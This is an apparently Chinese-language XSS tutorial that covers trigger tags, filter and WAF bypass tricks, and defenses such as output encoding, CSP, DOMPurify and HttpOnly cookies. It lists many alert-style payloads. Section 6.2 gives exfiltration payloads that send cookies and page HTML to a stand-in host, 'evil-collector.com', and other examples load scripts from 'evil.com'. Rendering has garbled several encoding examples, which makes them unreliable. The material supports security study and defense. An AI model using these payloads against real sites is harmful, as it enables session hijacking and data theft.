1. 项目概述:从“标签”切入的XSS攻防实战
在Web安全领域,XSS(跨站脚本攻击)是一个老生常谈却又历久弥新的议题。很多初学者拿到一个“XSS常见触发标签及绕过和防御的方法”这样的标题,可能会直奔那些形如
<script>alert(1)</script>
的经典Payload列表。但从业十多年,我处理过无数起真实的安全事件后,发现仅仅记住标签列表是远远不够的。真正的核心在于理解浏览器解析HTML、CSS、JavaScript的“上下文”,以及开发者构建的防御机制是如何与这些上下文互动的。这个标题背后,隐藏的是一整套关于“输入与输出”、“信任与验证”、“语法与语义”的攻防思维。无论是安全工程师进行代码审计,还是开发者在设计功能时规避风险,甚至是参与CTF比赛,都需要从“触发标签”这个最直观的入口出发,深入理解其背后的绕过逻辑,最终才能构建起有效的防御体系。这篇文章,我就从一个实战者的角度,拆解XSS从触发到绕过,再到防御的完整链条,分享那些在标准文档里不会写的细节和“踩坑”经验。
2. XSS攻击的核心:理解“上下文”是王道
在讨论具体标签之前,我们必须建立一个核心认知:XSS的成功执行,完全取决于恶意代码被注入并最终执行的“上下文”。上下文不同,可用的“触发标签”和攻击手法天差地别。
2.1 三大上下文的本质区别
通常我们把XSS分为反射型、存储型和DOM型。但从攻击者构造Payload的角度,更关键的区分是输出点所处的HTML上下文:
-
HTML标签内(Tag Content)
:恶意输入被直接插入到HTML标签之间。例如:
<div>用户输入点</div>。在这里,你需要先闭合前面的标签,才能引入新的恶意标签。 -
HTML标签属性内(Attribute Value)
:恶意输入被放在某个标签的属性值里。例如:
<input value="用户输入点">或<a href="用户输入点">。这里的挑战是如何逃逸属性值的引号包围。 -
JavaScript代码内(Script Context)
:恶意输入被直接嵌入到
<script>标签内的JavaScript代码中。例如:<script>var name = '用户输入点';</script>。这里你需要遵循JavaScript的语法规则进行逃逸。
很多防御措施失效,根源就在于没有准确识别输出上下文,采用了错误的过滤或编码策略。比如,在HTML标签属性内仅对
<
和
>
进行转义是无效的,因为攻击者根本不需要使用它们,他们可能利用
"
(闭合引号)和事件处理器(如
onerror
)。
2.2 触发标签的本质:浏览器信任什么?
所谓“触发标签”,本质上是浏览器信任并会尝试解析、执行其中内容的HTML元素。最广为人知的当然是
<script>
标签,但它的使用限制也最多,现代防御策略往往首先封堵它。因此,攻击者的武器库必须大大扩展。
一个关键思路是:寻找那些属性值能被浏览器解释为代码的标签。
这类标签通常带有事件处理器属性(
onclick
,
onerror
,
onload
,
onmouseover
等)或能引入外部资源的属性(
src
,
href
,
data
等)。例如,一个
<img>
标签,它的
src
属性通常指向图片URL,但如果赋值为
javascript:alert(1)
(在某些旧浏览器或特定上下文下),或者更常见地,利用
onerror
事件:
<img src=x onerror=alert(1)>
,就能成功触发XSS。这里,
<img>
本身是一个无害的图片标签,但结合其事件属性,就变成了攻击载体。
3. 常见触发标签与属性深度解析
下面我按攻击场景和绕过难度,分类梳理那些在实战中高频出现且极具迷惑性的触发点。记住,这个列表是动态的,浏览器的更新和前端框架的演进都可能改变某些标签的行为。
3.1 经典事件处理器标签
这类标签本身无害,但通过添加事件属性,可以在用户交互或资源加载失败时执行JS代码。
-
<img>标签 :XSS的“瑞士军刀”。因为它通常被允许用于富文本,且onerror事件极为可靠。-
Payload示例
:
<img src=1 onerror=alert(1)> -
绕过技巧
:如果过滤了
onerror,可以尝试其他事件,如onload(但需要图片真实加载),或者利用src属性进行伪协议调用(如javascript:alert(1),但现代浏览器在<img src>中已基本禁用)。更隐蔽的方式是使用<img src=valid_image_url onload=alert(1)>,前提是你能控制这个URL指向一个你拥有的、能成功加载的图片。
-
Payload示例
:
-
<svg>标签 :SVG本质是XML,但内嵌在HTML中时,浏览器会将其视为HTML的一部分,并解析其中的脚本。这使得<svg>成为一个强大的容器。-
Payload示例
:
<svg onload=alert(1)>或<svg><script>alert(1)</script>(后者取决于过滤规则)。 - 优势 :SVG内容复杂,可以嵌套多种元素和事件,有时能绕过基于简单正则表达式的过滤。
-
Payload示例
:
-
<input>标签 :特别是当type属性为image时,它拥有和<img>类似的事件。-
Payload示例
:
<input type=image src=1 onerror=alert(1)>
-
Payload示例
:
-
<body>、<iframe>、<frameset>等标签 :它们支持onload事件,在页面或框架加载时触发。-
Payload示例
:
<body onload=alert(1)>
-
Payload示例
:
实操心得 :在测试事件处理器时,不要只盯着
alert(1)。在实际攻击中,你可能会使用fetch()或XMLHttpRequest来窃取Cookie或发起进一步操作。但在测试和CTF中,alert(document.domain)是一个更好的选择,因为它能证明你执行了脚本并可以访问当前域的安全上下文,这对于证明漏洞危害性更直观。
3.2 资源加载型标签
这类标签通过
src
、
href
等属性加载外部资源,如果协议可控,可能执行脚本。
-
<script>标签 :最直接,但也最容易被过滤。关键在于src属性。-
Payload示例
:
<script src=//evil.com/x.js></script> -
绕过思路
:当直接写
<script>标签被过滤时,可以尝试通过其他方式动态创建脚本,或者利用允许的协议(如data:协议)内联脚本。例如:<object data="data:text/html,<script>alert(1)</script>">,但这通常需要特定的上下文。
-
Payload示例
:
-
<link>标签 :通常用于加载CSS,但href属性结合某些浏览器特性(历史上)可能存在问题。现代应用较少,但有时在特定上下文中可用于探测。 -
<iframe>标签 :通过src引入的页面,如果其中包含恶意脚本,也能达到效果,但这属于间接攻击。更直接的是利用srcdoc属性(HTML5),它允许内联HTML。-
Payload示例
:
<iframe srcdoc="<script>alert(1)</script>"></iframe>
-
Payload示例
:
-
<embed>、<object>标签 :用于加载插件内容,其data或src属性可能被滥用。例如,<object data="javascript:alert(1)">(同样受浏览器限制)。
3.3 伪协议与特殊属性
-
javascript:伪协议 :可用于支持URL的属性,如<a href>、<iframe src>、<form action>等。-
Payload示例
:
<a href="javascript:alert(1)">点击</a> -
现状
:现代浏览器为了安全,已经极大地限制了
javascript:协议在大多数上下文中的直接执行能力,尤其是在非用户直接交互的上下文中(如img.src)。但在<a href>中,用户点击后仍可能执行,这属于一种“交互型”XSS。
-
Payload示例
:
-
data:协议 :这是一个强大的工具,可以将小型文件内联在URL中。它可以构造HTML、JavaScript甚至SVG。-
Payload示例(HTML)
:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">(Base64编码的<script>alert(1)</script>) - 优势 :能绕过对特定文件扩展名(如.js)的检查,因为整个内容都在一个“URL”里。
-
Payload示例(HTML)
:
-
autofocus、onfocus组合 :HTML5的autofocus属性可以让元素自动获得焦点,如果该元素有onfocus事件,则脚本会在页面加载后自动触发,无需用户交互。-
Payload示例
:
<input autofocus onfocus=alert(1)> -
这是一个非常隐蔽的非交互型XSS技巧
,在过滤规则只关注
onload、onerror时可能有效。
-
Payload示例
:
3.4 基于CSS的触发(较少见但需知晓)
CSS的
expression()
函数(仅限旧版IE)或
background-image: url(/service/javascript:...)
等历史方法在现代浏览器中已基本无效。但在极少数样式注入场景中,结合
@import
或
link
引入外部样式表,可能带来信息泄露风险(如通过CSS选择器读取属性),而非直接代码执行。这里不再作为主要触发方式讨论。
4. 绕过过滤与WAF的实战技巧
知道了有哪些“武器”,下一步就是学习如何让它们穿过对方的“盾牌”。防御措施千变万化,但核心思路无非几种:黑名单过滤、白名单过滤、编码输出、内容安全策略。我们的绕过思路也围绕这些展开。
4.1 针对黑名单过滤的绕过
黑名单就是列出“危险”字符串并删除或替换它们。绕过之道在于变形和混淆。
-
大小写绕过
:
<ScRiPt>alert(1)</sCrIpT>。这是最古老但有时仍有效的方法,适用于简单的、大小写敏感的正则匹配。 -
标签属性顺序与空格变形
:
-
多余空格/换行/制表符
:
<img src=x onerror = alert(1)>或<img\nsrc=x\nonerror=alert(1)>。某些正则可能匹配固定的onerror=模式。 -
属性间无空格
:
<imgsrc=xonerror=alert(1)>在大多数浏览器中无法正确解析,但<img/src=x/onerror=alert(1)>有时可以,因为/在某些上下文中被忽略。 -
插入无关属性
:
<img abc=123 src=x def=456 onerror=alert(1)>。打乱过滤器的预期顺序。
-
多余空格/换行/制表符
:
-
编码与混淆
:
-
HTML实体编码
:如果输入点位于HTML文本上下文,且过滤器在输出时未二次解码,那么插入编码后的字符可能被浏览器解析。例如,
<img src=x onerror=alert(1)>。但注意,在HTML属性值内,浏览器会对已解码的实体进行解析。更高级的利用涉及多重编码和浏览器解析差异。 -
JavaScript Unicode转义
:在JavaScript上下文里,可以使用
\u0061\u006c\u0065\u0072\u0074(1)来表示alert(1)。 -
利用String.fromCharCode
:
<img onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>。
-
HTML实体编码
:如果输入点位于HTML文本上下文,且过滤器在输出时未二次解码,那么插入编码后的字符可能被浏览器解析。例如,
-
利用浏览器解析怪异模式(HTML5时代)
:浏览器为了兼容糟糕的HTML,其解析器非常“宽容”。
-
省略引号
:
<img src=x onerror=alert(1)>。这减少了需要逃逸的字符。 -
省略事件处理器值引号
:
<img src=x onerror=alert(1)>。同样有效。 -
使用反引号
:在有些上下文中,反引号也能作为字符串分隔符,且过滤规则可能未覆盖:
<img src=x onerror=alert(1)>。 -
标签名特殊字符
:历史上,
<svg/onload=alert(1)>这种在标签名后直接跟属性(无空格)的写法也能被某些浏览器解析。虽然现代浏览器规范更严格,但在测试中仍值得一试。
-
省略引号
:
4.2 针对白名单过滤的绕过
白名单只允许特定的标签和属性,看似更安全,但实现不当仍有漏洞。
-
利用允许标签的未过滤属性
:例如,白名单允许
<a>标签和href属性,但未对href的协议做严格检查。那么javascript:伪协议就可能被利用。 -
利用标签的“新”属性或模糊属性
:白名单列表可能更新不及时。例如,
<img>的srcset属性(用于响应式图片)可能未被列入危险属性,但其处理机制复杂,或许存在利用点(尽管直接执行JS很难,但可能造成异常或用于探测)。 -
绕过属性值检查
:对于
href或src,白名单可能只允许http://或https://开头。这时可以尝试:-
利用
//协议相对URL :<script src=//evil.com/x.js>。它继承了当前页面的协议(http或https),可能绕过简单的字符串匹配。 -
利用子域名或路径混淆
:
<script src=https://example.com.evil.com/x.js>或<script src=https://example.com/../evil.com/x.js>(如果服务器端URL处理逻辑有缺陷)。 -
利用
data:协议 :如前所述,data:协议可以内嵌内容,可能绕过对域名的检查。
-
利用
- 组合攻击(Polyglot Payloads) :构造一个能在多种上下文中被正确解析的Payload。例如,一个字符串既是合法的JavaScript,又是合法的HTML,还是合法的CSS。这种Payload在过滤器分阶段处理不同上下文时可能“幸存”下来。
4.3 针对输出编码的绕过
正确的输出编码应根据上下文选择(HTML实体编码、JavaScript字符串编码、URL编码等)。绕过通常发生在编码不一致或上下文判断错误时。
-
错误的编码上下文
:在JavaScript字符串内部,应该使用
\xXX或\uXXXX进行编码,并对引号进行转义。如果错误地使用了HTML实体编码(如将'变成'),而这个编码后的字符串又被放在<script>标签内,浏览器会先进行HTML解码,得到原始的单引号,从而可能闭合字符串。例如:
浏览器解析HTML时,会将<script> var userInput = ''+alert(1)+''; // 服务器端错误地进行了HTML编码 </script>'解码为单引号',最终代码变为var userInput = ''+alert(1)+'';,导致XSS。 -
多重解码与解析顺序
:如果应用程序对用户输入进行了多次解码(例如,先URL解码,再HTML解码),而攻击者输入了多重编码的Payload,就可能绕过单层编码。例如,输入
%253Cscript%253E(<script>经过两次URL编码),第一次解码得%3Cscript%3E,第二次解码得<script>。 -
DOM型XSS的编码问题
:DOM型XSS的源头在客户端JavaScript,服务器端输出编码对其无效。攻击点在于像
innerHTML、document.write()、eval()、setTimeout()等能动态解析HTML或JS的函数。如果这些函数的参数中包含了未经净化的用户可控数据,就会导致漏洞。防御必须在客户端进行,或彻底避免使用这些危险函数。
4.4 针对WAF(Web应用防火墙)的特定技巧
WAF通常基于规则库和语义分析,绕过难度更高,需要更精巧的Payload。
-
注释分割
:在JavaScript中插入注释可以打断WAF的令牌分析。
-
Payload示例
:
<img src=x onerror=alert/*注释*/(1)>。
-
Payload示例
:
-
字符串拼接
:
<img onerror='al' + 'ert' + '(1)'>。 -
利用ES6语法
:如模板字符串、
eval调用函数等。<img onerror=evalalert`1```> (利用了标签函数,较为复杂)。 -
非常规函数调用
:使用
window['alert'](1)或self['al'+'ert'](1)。 -
利用HTML5新特性/模糊特性
:研究那些WAF规则库可能还未覆盖的角落。例如,
<details ontoggle>事件、<svg>中的<animate>标签配合事件等。 - 分块传输编码(Chunked Transfer Encoding) :这是一种HTTP协议层面的绕过,将恶意Payload分块发送,可能绕过WAF对完整请求体的检测。这需要工具(如Burp Suite)辅助,属于更高级的技巧。
注意事项 :WAF绕过是一个持续对抗的过程。今天有效的技巧明天可能就被加入规则库。因此,核心不是记忆无数Payload,而是理解WAF检测的原理(如正则匹配、语法树分析),并在此基础上进行创造性变形。在实战中,信息收集至关重要,了解目标使用的WAF类型(如Cloudflare, ModSecurity等),可以针对性地搜索已知的绕过技巧。
5. 构建多层次防御体系
了解了攻击手法,防御的思路就清晰了:不是依赖单一魔法,而是构建一个从外到内、层层设防的体系。
5.1 输入验证与净化
这是第一道防线,但绝非唯一防线。
- 严格的白名单策略 :对于已知类型的数据(如电话号码、邮箱、数字ID),使用严格的正则表达式进行验证,拒绝任何不符合格式的输入。
-
上下文相关的净化
:对于富文本等需要保留部分HTML的场景,使用成熟的库(如OWASP Java HTML Sanitizer, DOMPurify for JavaScript)进行净化。
绝对不要自己写正则表达式来做复杂的HTML过滤
,浏览器解析的复杂性远超想象。
-
实操建议
:在服务端使用净化库,并制定严格的白名单标签和属性列表。对于
href和src,必须验证协议(只允许http,https,mailto, 相对路径等),并可以使用库提供的URL净化功能。
-
实操建议
:在服务端使用净化库,并制定严格的白名单标签和属性列表。对于
5.2 输出编码(最关键的一环)
原则:在数据输出到特定上下文时,进行相应的编码。
| 输出上下文 | 编码方式 |
示例(输入
<script>
)
| 说明 |
|---|---|---|---|
HTML文本
(
<div>
标签之间)
| HTML实体编码 |
<script>
|
转义
<
,
>
,
&
,
"
,
'
等。
|
HTML属性值
(非
href
,
src
等URL)
| HTML属性编码 |
<script>
| 同上,并且属性值一定要用引号括起来。 |
| JavaScript字符串 | JavaScript Unicode编码或转义 |
\u003Cscript\u003E
或
\x3Cscript\x3E
| 转义引号、换行符等,或进行Unicode转义。 |
| URL参数 | URL编码 (百分比编码) |
%3Cscript%3E
|
用于
href
、
src
、
action
等属性中的查询参数部分。
|
| CSS上下文 | CSS编码 |
\3C script\3E
| 较少见,通常应避免将用户输入放入CSS。 |
重要经验
:许多现代Web框架(如React, Vue, Angular)默认提供了输出编码,但需要了解其边界。例如,React的
{}
插值会对动态内容进行转义,但使用
dangerouslySetInnerHTML
就绕过了这个保护。Vue的
v-html
指令同理。
永远不要轻易使用这些危险特性。
5.3 内容安全策略
CSP是防御XSS的终极武器之一。它通过HTTP头告诉浏览器,哪些外部资源可以被加载和执行。
一个严格的CSP策略示例:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src *; font-src 'self'
-
default-src 'self': 默认只允许加载同源资源。 -
script-src 'self' https://trusted.cdn.com: 脚本只允许来自同源和指定的CDN。 禁止'unsafe-inline',这能有效阻止几乎所有基于标签注入的XSS,因为内联脚本(包括事件处理器)将被阻止执行。 -
style-src 'self' 'unsafe-inline': 允许内联样式(出于实用性考虑,但理想情况也应避免)。 -
img-src *: 允许从任何地方加载图片(根据业务调整)。 -
font-src 'self': 字体只允许同源。
部署CSP的挑战与技巧 :
-
报告模式先行
:使用
Content-Security-Policy-Report-Only头先监控策略的影响,而不实际阻止任何内容。分析报告,逐步收紧策略。 -
Nonce或Hash应对内联脚本
:如果必须有内联脚本,不要用
unsafe-inline,而是使用nonce(一次性随机数)或hash(脚本内容的哈希值)。例如:<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">...</script>,CSP头设置为script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'。这样只有匹配nonce的脚本才会执行。 -
CSP不能完全阻止所有XSS
:例如,它无法阻止基于
javascript:伪协议或用户重定向到恶意站点的攻击(这属于Open Redirect)。但它能极大增加攻击门槛,将XSS从“代码执行”降级为“有限的数据窃取或操作”。
5.4 其他防御措施
-
HttpOnly Cookie
:为会话Cookie设置
HttpOnly标志,阻止JavaScript通过document.cookie访问,这样即使发生XSS,攻击者也无法直接窃取Cookie进行会话劫持。 - 输入长度限制 :对某些字段(如搜索框)进行合理的长度限制,可以增加构造复杂Payload的难度。
-
框架安全特性
:使用现代框架并遵循其安全最佳实践。例如,避免使用
innerHTML,改用textContent;在Vue/React中避免不必要的v-html/dangerouslySetInnerHTML。 - 安全编码培训 :让开发团队理解XSS的原理和危害,在代码审查中重点关注用户输入的处理点。
6. 实战场景:从漏洞发现到利用与修复
让我们模拟一个完整的实战流程,假设我们在一个用户评论功能中发现了一个潜在的XSS点。
6.1 漏洞发现与验证
-
探测
:在评论框输入一个简单的测试Payload:
<img src=x onerror=alert(document.domain)>。提交评论。 - 观察 :页面刷新后,如果弹窗显示当前域名,说明存在HTML注入且事件处理器被执行,这是一个标准的存储型XSS。
-
信息收集
:查看页面源代码,找到我们的评论输出在什么位置。假设输出在
<div class="comment-content">我们输入的Payload</div>中。确认上下文是HTML文本。 -
尝试绕过
:如果上述简单Payload被过滤(比如
<img>或onerror被删除),开始应用绕过技巧。-
尝试大小写:
<ImG sRc=x OnErRor=alert(1)> -
尝试其他标签和事件:
<svg onload=alert(1)>,<input autofocus onfocus=alert(1)> -
尝试编码:
<img src=x onerror=alert(1)>(注意,这需要输出点未对&进行转义,且浏览器会解码)。 -
尝试省略引号和空格变形:
<imgsrc=xonerror=alert(1)>(通常不行)<img/src=x/onerror=alert(1)>(测试) -
如果评论支持某种“富文本”(如加粗),查看其实现方式。也许它是通过类似
[b]text[/b]的BBCode转换成的<b>text</b>。尝试注入[b]</b><script>alert(1)</script><b>,如果转换逻辑有缺陷,可能闭合标签。
-
尝试大小写:
6.2 漏洞利用(仅用于授权测试)
在确认漏洞存在后,在授权测试中,我们不会使用
alert
,而是构造一个真实的攻击Payload来证明危害。
<img src=x onerror="var i=new Image;i.src='http://evil-collector.com/steal?cookie='+encodeURIComponent(document.cookie);">
这个Payload会尝试将用户的Cookie发送到攻击者控制的服务器。
更隐蔽的方式
:使用
fetch()
API 发送POST请求,携带更多数据(如 localStorage、页面源码片段)。
<script>
fetch('http://evil-collector.com/steal', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
cookie: document.cookie,
url: location.href,
html: document.documentElement.innerHTML
})
});
</script>
6.3 漏洞修复建议
根据漏洞成因,提供修复方案:
- 根本原因 :用户评论在输出到HTML页面时,未进行正确的HTML实体编码。
-
修复方案
:
-
后端修复(推荐)
:在服务器端渲染评论时,对所有非受信数据进行HTML编码。例如,在Java中使用
StringEscapeUtils.escapeHtml4()(Apache Commons Lang),在Python中使用html.escape()。 -
前端修复(如果必须前端渲染)
:使用
textContent而非innerHTML来设置评论内容。如果必须渲染富文本,使用如DOMPurify.sanitize(commentContent, {ALLOWED_TAGS: ['b', 'i', 'u', 'a'], ALLOWED_ATTR: ['href']})进行净化。 -
补充防御
:
-
为会话Cookie添加
HttpOnly和Secure标志。 -
考虑部署一个合适的CSP策略,至少禁止内联脚本执行 (
script-src 'self')。 - 对评论内容进行适度的输入验证(如长度限制、禁止某些极端字符)。
-
为会话Cookie添加
-
后端修复(推荐)
:在服务器端渲染评论时,对所有非受信数据进行HTML编码。例如,在Java中使用
7. 常见问题与排查技巧实录
在实际开发和渗透测试中,会遇到一些典型问题。
问题1:明明输入了Payload,页面也显示了,但为什么不弹窗?
-
检查点1:查看页面源代码
。右键“查看页面源代码”(不是检查元素),看你的Payload是被编码了(变成
<img...>)还是被完整保留了。如果被编码,说明输出编码有效,漏洞不存在或需要绕过编码。 - 检查点2:浏览器控制台 。打开开发者工具的控制台,查看是否有CSP错误。如果看到类似“拒绝执行内联脚本,因为它违反了以下内容安全策略指令...”的消息,说明CSP阻止了执行。
-
检查点3:事件是否被触发
。对于
onerror,确保src指向一个不存在的资源(如x)。对于onload,确保资源能加载。可以尝试使用alert(1)而不是复杂的代码,先验证执行环境。 -
检查点4:是否在iframe或沙箱环境中
。某些内容可能被加载到具有
sandbox属性的iframe中,限制了脚本执行。
问题2:在CTF或靶场中,过滤了
script
、
on
、
src
等关键词,怎么办?
-
思路
:尝试不依赖这些关键词。例如:
-
使用
<svg><script>alert(1)</script>如果只过滤了<script>但没过滤<svg>和闭合标签。 -
使用
<details ontoggle=alert(1) open>利用<details>标签的open属性自动触发ontoggle。 -
使用
<input autofocus onfocus=alert(1)>利用自动聚焦。 - 尝试使用HTML5新标签或生僻标签/属性,可能不在黑名单里。
-
考虑DOM型XSS,查看页面JS代码,寻找
eval()、innerHTML、document.write()等 sink 点,并追踪用户可控的 source。
-
使用
问题3:部署CSP后,网站功能(如第三方统计、字体图标)坏了怎么办?
-
步骤
:使用CSP的
Report-Only模式收集错误报告。根据报告,逐步将合法的外部源(如https://www.google-analytics.com,https://cdnjs.cloudflare.com)添加到相应的指令中(如script-src,style-src,font-src)。对于必须的内联脚本/样式,采用nonce或hash机制, 绝不轻易使用unsafe-inline。
问题4:富文本编辑器如何安全地允许部分HTML?
-
答案
:使用专业的净化库。
不要自己写正则
。配置严格的白名单,例如只允许
<p>,<b>,<i>,<a>,<ul>,<li>等简单标签,对于<a>标签,只允许href属性,并且要对href的值进行严格的URL验证和协议限制(只允许http,https,mailto)。在服务器端进行净化,前端净化可以被绕过。
问题5:JSONP接口如何防御XSS?
-
核心
:JSONP本身是通过
<script>标签加载的,其响应是直接执行的JavaScript。防御的关键在于对回调函数名进行严格的过滤(只允许字母数字和下划线),并且确保响应内容类型是application/javascript,而不是text/html。更好的做法是淘汰JSONP,使用CORS。
XSS的攻防是一场永无止境的猫鼠游戏。作为防御者,理解攻击者的思维和技巧,才能构建起更坚固的防线。记住,没有一劳永逸的银弹, 纵深防御、最小权限、持续监控 才是安全之道。每次代码审查时,多问一句“这里的用户输入,最终会在哪个上下文以什么形式输出?”,就能避免很多潜在的问题。
1146

被折叠的 条评论
为什么被折叠?



